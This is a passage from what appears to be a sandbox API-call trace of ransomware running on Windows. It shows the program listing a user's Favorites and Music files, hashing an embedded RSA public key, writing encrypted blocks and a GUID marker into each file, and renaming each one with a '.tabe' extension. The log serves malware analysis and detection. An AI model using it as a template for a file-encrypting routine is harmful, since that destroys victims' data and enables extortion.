KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.042] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.042] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.043] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.043] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.043] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.043] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.043] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.043] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.043] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.043] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.043] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.043] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.043] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.043] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.044] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.044] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.044] CloseHandle (hObject=0x618) returned 1 [0127.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.tabe")) returned 1 [0127.046] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0127.046] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0127.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.046] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.046] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.047] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.047] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.048] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.048] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.048] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.048] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.048] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.049] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.049] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.049] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.049] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.049] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.049] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.049] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.049] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.049] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.049] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.049] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.049] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.049] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.049] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.049] CloseHandle (hObject=0x618) returned 1 [0127.050] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.tabe")) returned 1 [0127.051] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0127.051] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0127.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.052] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0127.052] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.053] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.053] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.054] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0127.054] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.054] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.054] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.054] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.055] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.055] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.055] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.055] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.055] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.055] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.055] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.055] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.055] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.055] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.055] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.055] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.056] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.056] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.056] CloseHandle (hObject=0x618) returned 1 [0127.056] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.tabe")) returned 1 [0127.060] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0127.060] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.060] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.060] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.060] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\") returned="fqXOARG\\" [0127.060] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.060] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.060] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.060] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.060] PathFindFileNameW (pszPath="") returned="" [0127.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1103b70, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x62d214c0, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x62d214c0, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.061] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1103b70, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x62d214c0, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x62d214c0, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.061] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37cad3a0, ftCreationTime.dwHighDateTime=0x1d5e081, ftLastAccessTime.dwLowDateTime=0x7bec9710, ftLastAccessTime.dwHighDateTime=0x1d5d9ad, ftLastWriteTime.dwLowDateTime=0x7bec9710, ftLastWriteTime.dwHighDateTime=0x1d5d9ad, nFileSizeHigh=0x0, nFileSizeLow=0x4857, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2jG sPXQ5TZ.m4a", cAlternateFileName="2JGSPX~1.M4A")) returned 1 [0127.061] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\2jG sPXQ5TZ.m4a") returned=".m4a" [0127.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\2jG sPXQ5TZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\2jg spxq5tz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.061] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=18519) returned 1 [0127.061] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.062] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4831, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.062] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.064] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x4857, lpOverlapped=0x0) returned 1 [0127.064] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.064] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.064] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.064] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.065] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, 